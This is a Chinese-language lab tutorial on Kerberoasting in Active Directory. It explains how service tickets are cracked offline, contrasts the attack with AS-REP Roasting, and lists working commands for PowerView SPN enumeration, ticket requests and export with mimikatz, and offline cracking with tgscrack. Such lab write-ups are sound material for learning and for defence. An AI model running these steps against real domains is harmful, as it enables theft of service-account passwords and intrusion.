当域用户请求某个域内服务后,kdc 通常会返回一个加密的 st 服务票据,此 st 服务票据被服务 hash 加密,当我们将使用密码字典派生的多个 hash 值来尝试解密 st 服务票据,如果能够揭秘成功,则说明字典中存在目标服务账号的密码。
Kerberoasting 对比 AS-REP Roasting
-
Kerberoasting 利用后获得服务账户密码,AS-REP Roasting 利用后获得发起请求的域用户的密码。
-
Kerberoasting 使用字典爆破 st 服务票据,AS-REP Roasting 使用字典爆破 Logon Session Key。
-
Kerberoasting 需要攻击者具有请求 st 的凭据(某个域用户即可),AS-REP Roasting 需要攻击者枚举出域中 "不要求 kerberos 预身份验证" 的用户。
环境搭建
为管理员 administrator 注册一个 spn,目的是为了 administrator 映射为某个服务的服务账户。
setspn -S MySQL/WIN-0v0GAORDC17:3306/MySQL administrator
漏洞利用
- 查询域内注册 spn 的用户。工具:PowerView.ps1 ,项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Import-Module .\PowerView.ps1 Get-NetUser -SPN
- 使用某个域用户凭据请求这个 spn 对应服务的 st 服务票据。工具:mimikatz
kerberos::ask /target:MySQL/WIN-0v0GAORDC17:3306/MySQL # 这里我用来请求 st 的凭据时 administrator管理员,其实其他域用户凭据也可以,只要能请求到 st 就可以。
- 导出请求到的 st 服务票据。工具:mimikatz
kerberos::list /export
- 使用字典进行离线爆破。工具:tgscrack ,项目地址:https://github.com/leechristensen/tgscrack
# 先使用 python 脚本提取出 st 服务票据的加密部分,并导出到 /tmp/myhash.txt 路径下 python2 extractServiceTicketParts.py ticket.kirbi > /tmp/myhash.txt # 再使用 tgscrack.go 进行离线爆破 go run tgscrack.go -hashfile /tmp/myhash.txt -wordlist /tmp/password.txt